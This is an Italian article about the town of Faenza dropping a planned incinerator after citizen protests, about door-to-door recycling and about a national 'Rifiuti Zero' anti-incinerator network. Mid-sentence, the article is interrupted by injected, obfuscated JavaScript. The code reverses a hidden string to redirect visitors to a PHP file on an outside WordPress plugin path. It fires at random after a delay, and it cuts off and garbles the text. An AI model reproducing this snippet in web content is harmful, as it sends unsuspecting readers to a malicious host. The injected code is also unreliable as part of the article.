Se Faenza può fare senza…

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L’inceneritore a Faenza non si farà più. La decisione è giunta dopo la protesta dei cittadini, preoccupati per le conseguenze sull’ambiente, che si erano sollevati contro la costruzione di questo impianto. L’Amministrazione comunale ha chiesto così alle due società interessate, che avevano costituito apposta una terza società chiamata Energica, di ritirare il progetto. Le resistenze a questa richiesta sono state molte, soprattutto da parte di una delle due partecipanti, che difendeva la scelta inceneritorista come in linea col Decreto Ronchi sui rifiuti. Alla fine però la proposta dell’inceneritore è stata ritirata ed Energica è stata sciolta.
Si tratta di un primo importante passo di un percorso che vedrà i cittadini faentini impegnati nella ricerca di soluzioni alternative per fronteggiare la spinosa questione dei rifiuti. Una soluzione su tutte prende corpo: quella di trasformare la raccolta differenziata per cassonetti in una di tipo domiciliare (il cosiddetto porta a porta). Un sistema che, dove applicato, ha portato a risultati di riciclaggio talvolta addirittura superiori al 70%, oltre ad indurre ad una produzione di rifiuti inferiore di circa il 20%. Insomma l’effetto opposto di quello creato dalla cultura del “butto-tutto-in-un-mucchio” incoraggiata dai progetti di costruzione degli inceneritori. Occorrono naturalmente alcuni provvedimenti strutturali che sostengano questa diminuzione nella produzione “a monte” di rifiuti come la riduzione dei beni usa e getta (specie nelle iniziative pubbliche), la riduzione dell’uso degli imballaggi negli esercizi commerciali, l’uso della distribuzione alla spina per detersivi e bev (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande.
Idee praticabilissime anche a Firenze, come dovunque l’amministrazione comunale sappia confrontarsi con i cittadini, quando questi propongono soluzioni alternative ragionevoli ed ugualmente efficaci. Una vittoria importante per la città di Faenza, che assume un rilievo importantissimo per tutto il movimento che in Italia si sta mobilitando contro gli inceneritori e che chiede politiche diverse sui rifiuti.
E il movimento ha sentito la necessità di un coordinamento nazionale per promuovere la strategia “Rifiuti Zero”. Per questo il 18 dicembre si è tenuto ad Acerra, luogo emblematico della lotta contro l’incenerimento, un importante incontro nazionale dei comitati popolari e delle realtà di base contro inceneritori, discariche e produzioni nocive. Qui gruppi e singoli da tutta Italia hanno deciso di rafforzare e strutturare la rete di collegamento nazionale sulla questione rifiuti e contro le nocività e i danni di politiche di gestione poco lungimiranti. L’obiettivo è quello di costituire una vera e propria organizzazione operativa autonoma ed indipendente che abbia la capacità di promuovere efficaci iniziative per diffondere nell’opinione pubblica l’idea che “un’altra politica dei rifiuti è possibile”. A rinvigorire ulteriormente la popolarità della strategia “Rifiuti Zero” è tornato nelle scorse settimane in Italia il professor Paul Connet, per un tour che lo ha visto parlare a vaste platee da nord a sud della penisola.

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